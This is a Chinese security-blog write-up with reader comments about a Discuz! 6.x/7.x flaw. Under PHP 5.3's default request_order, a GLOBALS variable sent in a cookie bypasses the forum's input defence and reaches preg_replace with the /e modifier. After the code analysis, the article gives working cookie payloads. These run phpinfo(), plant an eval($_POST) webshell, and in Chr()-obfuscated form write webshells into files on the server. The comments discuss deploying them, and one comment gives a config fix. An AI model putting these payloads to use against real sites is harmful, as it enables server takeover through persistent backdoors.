Discuz! 6.x/7.x 全局变量防御绕过导致命令执行

2014-11-24 13,682

漏洞概述:

由于php5.3.x版本里php.ini的设置里request_order默认值为GP,导致Discuz! 6.x/7.x 全局变量防御绕过漏洞

漏洞分析:

include/global.func.php代码里:

function daddslashes($string, $force = 0) {
    !defined('MAGIC_QUOTES_GPC') && define('MAGIC_QUOTES_GPC', get_magic_quotes_gpc());
    if(!MAGIC_QUOTES_GPC || $force) {
        if(is_array($string)) {
            foreach($string as $key => $val) {
                $string[$key] = daddslashes($val, $force);
            }
        } else {
            $string = addslashes($string);
        }
    }
    return $string;
}

include/common.inc.php里:

foreach(array('_COOKIE', '_POST', '_GET') as $_request) {
    foreach($$_request as $_key => $_value) {
        $_key{0} != '_' && $$_key = daddslashes($_value);
    }
}

模拟register_globals功能的代码,在GPC为off时会调用addslashes()函数处理变量值,但是如果直接使用$_GET/$_POST/$_COOKIE这样的变量,这个就不起作用了,然而dz的源码里直接使用$_GET/$_POST/$_COOKIE的地方很少,存在漏洞的地方更加少:(

不过还有其他的绕过方法,在register_globals=on下通过提交GLOBALS变量就可以绕过上面的代码了.为了防止这种情况,dz中有如下代码:

if (isset($_REQUEST['GLOBALS']) OR isset($_FILES['GLOBALS'])) {
    exit('Request tainting attempted.');
}

这样就没法提交GLOBALS变量了么?

$_REQUEST这个超全局变量的值受php.ini中request_order的影响,在最新的php5.3.x系列中,request_order默认值为GP,也就是说默认配置下$_REQUEST只包含$_GET和$_POST,而不包括$_COOKIE,那么我们就可以通过COOKIE来提交GLOBALS变量了:)

discuz_rce

 

 

 

 

 

 

 

 

 

 

漏洞利用

include/discuzcode.func.php

function discuzcode($message, $smileyoff, $bbcodeoff, $htmlon = 0, $allowsmilies = 1, $allowbbcode = 1, $allowimgcode =
1, $allowhtml = 0, $jammer = 0, $parsetype = '0', $authorid = '0', $allowmediacode = '0', $pid = 0) {
global $discuzcodes, $credits, $tid, $discuz_uid, $highlight, $maxsmilies, $db, $tablepre, $hideattach, $allowat
tachurl;
if($parsetype != 1 && !$bbcodeoff && $allowbbcode && (strpos($message, '[/code]') || strpos($message, '[/CODE]')
) !== FALSE) {
$message = preg_replace("/\s?\[code\](.+?)\[\/code\]\s?/ies", "codedisp('\\1')", $message);
}
$msglower = strtolower($message);
//$htmlon = $htmlon && $allowhtml ? 1 : 0;
if(!$htmlon) {
$message = $jammer ? preg_replace("/\r\n|\n|\r/e", "jammer()", dhtmlspecialchars($message)) : dhtmlspeci
alchars($message);
}
if(!$smileyoff && $allowsmilies && !empty($GLOBALS['_DCACHE']['smilies']) && is_array($GLOBALS['_DCACHE']['smili
es'])) {
if(!$discuzcodes['smiliesreplaced']) {
foreach($GLOBALS['_DCACHE']['smilies']['replacearray'] AS $key => $smiley) {
$GLOBALS['_DCACHE']['smilies']['replacearray'][$key] = '<img src="images/smilies/'.$GLOB
ALS['_DCACHE']['smileytypes'][$GLOBALS['_DCACHE']['smilies']['typearray'][$key]]['directory'].'/'.$smiley.'" smilieid="'
.$key.'" border="0" alt="" />';
}
$discuzcodes['smiliesreplaced'] = 1;
}
$message = preg_replace($GLOBALS['_DCACHE']['smilies']['searcharray'], $GLOBALS['_DCACHE']['smilies']['r
eplacearray'], $message, $maxsmilies);
}

 

注意到:
$message = preg_replace($GLOBALS['_DCACHE']['smilies']['searcharray'], $GLOBALS['_DCACHE']['smilies']['replacearray'], $message, $maxsmilies);
请求中Cookie带

GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo();
即可执行phpinfo。
GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=eval($_POST[c])%3B;
即一句话木马。

此后门漏洞十分隐蔽,不容易发现。

利用条件:

1.discuz 6.x / 7.x

2.request_order默认值为GP

 

K8飞刀的exp:

===============================================================================================================================================================
Discuz 6.x/7.x 代码执行漏洞触发条件:
1 URL连接中的帖子或评论必须带有表情(没有自己去回复)
2 php>5.3.x 且 request_order值为GP (默认值为GP)
3 后台--帖子内容页---最大单一表情解析次数: 为0
4 第2次提交Cookie,若没成功,请在浏览框里右键刷新


默认EXP: forumdata/cache/admingroups.php 

GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=eval(Chr(102).Chr(112).Chr(117).Chr(116).Chr(115).Chr(40).Chr(102).Chr(111).Chr(112).Chr(101).Chr(110).Chr(40).Chr(39).Chr(102).Chr(111).Chr(114).Chr(117).Chr(109).Chr(100).Chr(97).Chr(116).Chr(97).Chr(92).Chr(99).Chr(97).Chr(99).Chr(104).Chr(101).Chr(92).Chr(97).Chr(100).Chr(109).Chr(105).Chr(110).Chr(103).Chr(114).Chr(111).Chr(117).Chr(112).Chr(115).Chr(46).Chr(112).Chr(104).Chr(112).Chr(39).Chr(44).Chr(39).Chr(119).Chr(39).Chr(41).Chr(44).Chr(39).Chr(60).Chr(63).Chr(112).Chr(104).Chr(112).Chr(32).Chr(101).Chr(118).Chr(97).Chr(108).Chr(40).Chr(36).Chr(95).Chr(80).Chr(79).Chr(83).Chr(84).Chr(91).Chr(116).Chr(111).Chr(109).Chr(93).Chr(41).Chr(63).Chr(62).Chr(39).Chr(41).Chr(59))

路径:	secpulse.php

测试:	GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo()


密文(PHP_ChrString):

GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=eval(Chr(102).Chr(112).Chr(117).Chr(116).Chr(115).Chr(40).Chr(102).Chr(111).Chr(112).Chr(101).Chr(110).Chr(40).Chr(39).Chr(115).Chr(101).Chr(99).Chr(112).Chr(117).Chr(108).Chr(115).Chr(101).Chr(46).Chr(112).Chr(104).Chr(112).Chr(39).Chr(44).Chr(39).Chr(119).Chr(39).Chr(41).Chr(44).Chr(39).Chr(60).Chr(63).Chr(112).Chr(104).Chr(112).Chr(32).Chr(64).Chr(101).Chr(118).Chr(97).Chr(108).Chr(40).Chr(36).Chr(95).Chr(80).Chr(79).Chr(83).Chr(84).Chr(91).Chr(116).Chr(111).Chr(109).Chr(93).Chr(41).Chr(63).Chr(62).Chr(39).Chr(41).Chr(59))

 

参考地址:

http://www.80vul.com/dzvul/sodb/19/sodb-2010-01.txt

Discuz!某两个版本前台产品命令执行(无需登录)
http://www.wooyun.org/bugs/wooyun-2010-080723

 

Tags:
评论  (4)
快来写下你的想法吧!
  • patch 2014-12-11 16:32:54

    三 补丁[fix]

    更改php5.3.x里的php.ini设置: request_order为GPC

  • 路人甲 2015-03-12 9:54:43

    最后的EXP中forumdata/cache/admingroups.php 这个EXP没有成功,secpulse.php的EXP成功了,是怎么回事???我的DZ论坛是默认安装的,没有更改任何设置,求教

    • SP小编 个人认证 2015-03-12 10:00:38

      @路人甲 这个漏洞一般使用直接使用火狐插件Modify Headers 贴贴cookie来演示
      很多是dz6/7目录是没有fputs写权限的 一般是写个转发脚本来本地菜刀
      你的问题secpulse.php是个phpinfo 很容易就看出来
      默认EXP是个一句话~

    • 路人甲 2015-03-12 10:11:30

      @SP小编 我就用firebug改的cookie,用secpulse.php这个EXP,是向当前目录写入一句话木马,写到secpulse.php这个文件中,forumdata/cache/admingroups.php这个EXP是写到forumdata/cache/admingroups.php这个文件中,我是说在当前目录是可以用fputs写一句话到文件的,但是写到那个目录下,就写不进去

SP小编

文章数:209 积分: 25

交流和分享以及愉快的玩耍

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号